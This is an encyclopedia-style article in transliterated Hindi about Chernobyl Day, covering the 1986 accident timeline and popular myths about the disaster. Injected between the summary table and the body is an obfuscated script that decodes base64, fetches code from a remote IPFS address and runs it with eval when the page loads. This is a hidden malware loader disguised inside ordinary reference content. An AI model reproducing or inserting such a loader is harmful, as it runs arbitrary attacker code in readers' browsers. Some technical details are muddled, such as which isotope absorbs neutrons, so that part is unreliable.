चेरनोबिल दिवस
cheranobil divas
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| vivaran | 'cheranobil divas' pratyek varsh 26 aprॅl ko manaya jata hai. cheranobil pavar plaant mean paramanu durghatana huee thi jo vishv mean ghatit sabase bhayanak paramanu apadaoan mean se ek thi. |
| shahar | pripariyat |
| desh | yookren |
| tithi | 26 aprॅl, 1986 |
| any janakari | ayodin 131, sesiyam 137 aur str aauntiyam 90 jaise rediyoektiv elimeant ne kaphi tabahi machaee. is hadase ke karan hajaroan logoan ko kaiansar bimari ne gher liya. riektar ke asapas base 1,35,000 logoan ko surakshit ilakoan mean pahuanchaya gaya. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>cheranobil divas pratyek varsh 26 aprॅl ko manaya jata hai. 26 aprॅl, 1986 ko yookren ke pripariyat shahar ke cheranobil pavar plaant mean paramanu durghatana huee thi. yah vishv mean ghatit sabase bhayanak paramanu apadaoan mean se ek thi. isi ki smriti mean cheranobil divas manaya jata hai. varsh 2016 mean sanyukt rashtr mahasabha ne 26 aprॅl ko 'antarrashtriy cheranobil apada smaran divas' ke roop mean namit kiya tha. varsh 2009 mean sanyukt rashtr ne prabhavit sthanoan ko vikasit karane mean karyakramoan ka samarthan karane ke lie 'iantaraneshanal cheranobil risarch eand ianph aaurmeshan netavark' l aaunch kiya tha.
ghatanakram
yookren ke cheranobil mean huee paramanu durghatana ko duniya ka sabase b da paramanu hadasa mana jata hai. 26 aprॅl 1986 ke us ek ghante par jisamean ek tarabain test hona tha lekin hua kuchh aur hi.[1]
- 26 aprॅl, 1986 : cheranobil nyookliyar plaant mean sthaniy bijali ke gul hone ki sthiti ko lekar test kiya ja raha tha. koshish yah thi ki bijali jane aur dijal jenaretaroan ke chalane tak ek tarbojenaretar phid v aautar pampoan ko pavar de sakata hai. yah ek samany test ki tarah rat mean shuroo hua.
- rat 12:28 baje : aauparetar kanpyootar ko riprogram karane mean nakam rahe. isaki vajah se riekt-4 30 phisadi pavar par chalata raha. isaki vajah se paida hone vali bijali mean ek phisadi kami aee. riektar mean s aaulid vatar bhar gaya. riektar ki sthiti asthir ho gee.
- rat 12:32 baje: pavar ko dobara manachahe star par lane ke lie aauparetar ne kor se kantrol r aauds nikali. kor mean 26 se kam kantrol r aauds bachian. lekin aisa karane ke bavajood pavar sirph sat phisadi badhi. isaki vajah se 'jenan p aauyajaniang iphekt' shuroo hua. jenan I-135 ka kshin roop hai. I-135 nyootr aaun ko sokhata hai. ise p aauyajan yani jahar kaha jata hai. I-135 paramanu vikhandan ki pratikriya ko niyantrit karane mean madad karata hai. samany sthiti mean nyootr aaun sokhane ke sath yah jalakar bahut jyada kshin ho jata hai. lekin pavar leval 1600 megav aaut se niche ane par I-135 jenan mean apaghatit hone lagata hai.
- rat 1:15 baje: aisi sthiti mean riektar ko aautomaitik shatig daun se bachane ke lie imarajeansi kor kooliang sistam aur doosare sistam sarkit band kar die ge. jenan p aauyajaniang se bachane ke lie phir jyada kantrol r aauds nikali geean. isake bad kor mean chhah kantrol r aauds hi bachian. aisi sthiti mean jaroorat p dane ke bavajood riektar ko turant shat daun nahian kiya ja sakata tha.
- rat 1:20 baje: sabhi ath kooliang pamp lo pavar par chalane lage. samany paristhitiyoan mean chhah pamp poori pavar se chalate haian. lekin cheranobil mean jari g dab di ki vajah se riektar-4 mean bahut kam s aaulid v aautar bacha. is sthiti mean s aaulid v aautar ke ubalane ka khatara paida ho gaya.
- rat 1:22 baje: shuruati test mean tarabaeen trip (achanak band) ho gee. isaki vajah se ath mean char dobara sarkuleshan karane vale pamp band ho ge. skraim sarkit ab bhi band tha.
- rat 1:23:35 baje: thandak kam pahuanchane ki vajah se preshar tyoob khali p dane lagian. paramanu pratikriya tej hone lagi aur aniyantrit dhang se khoob bhap banane lagi.
- rat 1:23:40 baje: aparetar ko ashanka huee. is sthiti ko imarajeansi manate hue sabhi koroan mean kantrol r aauds dalane aur riektar ko shat daun karane ka batan dabaya.
- rat 1:23:44 baje: yah akhiri kadam hi nirnayak sabit hua. riektar sistam mean ek dijayan sanbandhi kami thi jis par pahale kisi ka dhyan nahian gaya tha. kantrol r aauds ke aantim chhor par chhah ianch ki grephait ki tip lagi thi. yahi tip pahale kor mean gee aur vahaan se pani ko hata diya. pani hatate hi kuchh hi sekeand mean pavar badh gee. samany paristhitiyoan mean itani pavar badhane ka asar bahut kam der tak rahata hai. lekin cheranobil ka riektar nanbar char samany paristhitiyoan mean nahian chal raha tha. char sekeand mean pavar 100 guna badh gee.
- rat 1:24 baje: jabaradast garmi ki vajah se kor tootane lage. eeandhan ki baandhane vale tantr mean dararean p d geean. kantrol r aaud chainals ka akar g dab da gaya. lagatar ban rahi teji se bhap ki vajah se stim tyoob phat gee. kee tan bhap aur pani sidhe garm riektar mean ghus gaya. bhap ke dabav ki vajah se riektar mean joradar dhamaka hua. dhamaka itana jabaradast tha ki riektar ke oopar simeant se banaee gee shild u d gee. shild riektar ki imarat ke chhat ko apane sath u date hue le gaya. is b de surakh se paramanu vikiran sidhe vayumandal mean phailane laga.
- rat 1:28 baje: damakal ki 14 ga diyaan mauke par pahuanchian.
- rat 2:00 baje: riektar ki chhat mean lagi bhanyakar ag ko kaboo mean kiya gaya.
- subah 5:00 baje: jyadatar ag par kaboo pa liya gaya lekin in koshishoan ke bavajood grephait ag pak d gee. grephait ki ag ki vajah se rediyoektiv tatv vatavaran mean kaphi oopar tak chale ge.
- is tarah cheranobil pavar plaant mean shuroo hua ek tarabain test 56 minat ke bhitar duniya ki sabase b di paramanu durghatana mean badal gaya.
mithak
1986 mean huee chernobil paramanu durghatana ke bad paida huee ashankaoan aur chiantaoan ne kee tarah ke mithakoan ko janm diya. yookren mean aise kee log the jinake dimag par is apada ne aisa asar chho da ki vo kee tarah ke mithakoan ko manane lag ge. aise mithakoan mean paramanu vikiran ke karan jenetik badalav se paida hue bhayanak janavar, isake shikar hue iansanoan ki bhayavah tasvirean aur vo pratibandhit kshetr shamil the jahaan ye hadasa hua. lekin pichhale 30 saloan mean paramanu sanyantr ke ird-gird ke kshetr par hue shodh ne kee am dharanaoan ko galat sabit kiya hai.
isase ju da ek mithak yah hai ki paramanu vikiran se janavaroan mean hue jenetik badalav ne zabaradast takat vale khooankhar janavar paida kie haian. ye bhi kaha jane laga tha ki in mean se kee ke hath-paanv, sir ya pooanchh nahian hote haian to kisi ke pas jyada ek se zyada sir, haanth-pav aur pooanchhe hoti haian. halaanki vaijnanikoan ko isase ju da koee saboot nahian mila hai. 26 aprॅl 1986 ko hue visphot ke turant bad anek pakshi aur janavar mare ge. adhik vikiran vale kshetr mean kuchh hi pe d mile aur kuchh hi aise janavar mile jinamean siziyam-137 ka star samany se adhik tha. is ghatana se ju da doosara mithak ye tha ki vikiran bilkul bhi khataranak nahian hai kyoanki pratibandhit kshetr mean bhe die, hiran, bivar aur sooar ki achchhi-khasi abadi aram se rah rahi hai.
shodh se pata chalata hai ki beshak yah ilaka vany jivoan ke lie svarg bana hua hai lekin yahaan janavar isalie itane aram se rah rahe haian kyoanki yahaan iansanoan ka dakhal nahian hai. shikar aur kheti jaisi iansani gatividhiyaan vany jivoan ke lie kabhi-kabhi vikiran se bhi jyada buri sabit hoti haian. is hadase se ju de ek aur mithak ke mutabik vodaka, vain ya bharapoor matra mean biyar pine se vikiran ka jaharila asar kam ho jaega. lekin vaijnanikoan ne paya ki is bat ka koee saboot nahian hai ki sharab ke aandar is tarah ka koee gun hota hai. halaanki shodhakartaoan ne yah jaroor paya hai ki red vain mean prakritik roop se eantiaauksideants pae jate haian jo sanbhav hai vikiran se hone vale nukasan se koshikaoan ko kuchh had tak bacha sakate haian.
ek aur mithak logoan ke dimag mean yah bhi bana hua hai ki vikiran ka koee khataranak prabhav logoan par nahian p da hai. riektar ke as-pas ke tis kilomitar ke pratibandhit kshetr ko jald hi hare-bhare abhyarany mean tabdil kar diya jaega jisase payartan ko badhava milega. vaijnanikoan ka kahana hai ki tis kilomitar kshetr ke aandar rediyodharmi kachare ka hona ab bhi khataranak hai aur isane is poore kshetr ko iansanoan ke rahane ke lihaz se bis hazar saloan ke lie asurakshit kar diya hai.
ek mithak to yah bhi hai ki chernobil sanyantr ke pas banae ge pratibandhit kshetr ko riektar ki suraksha ke lie nahian banaya gaya hai balki yah hathiyaroan ko chhupane ka thikana hai aur b da radar abhi bhi is par laga hua dekha ja sakata hai. halaanki asaliyat yah hai ki paramanu sanyantr ke nazadik durghatana ki poorv chetavani ke lie uchch suraksha vale sistam duga-1 ebiem ko lagaya gaya tha jo soviyat sangh mean bana tha. yah radar 2500 kilomitar ki doori se hamala karane vale bailistik misail ko bhaanp sakata tha. 26 aprॅl, 1986 ki durghatana ke bad soviyat sangh ki sarakar ne is suvidha ko nasht kar diya.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1
26 aprॅl ka vah ek ghanta (hiandi) dw.com. abhigaman tithi: 27 aprॅl, 2021. Cite error: Invalid
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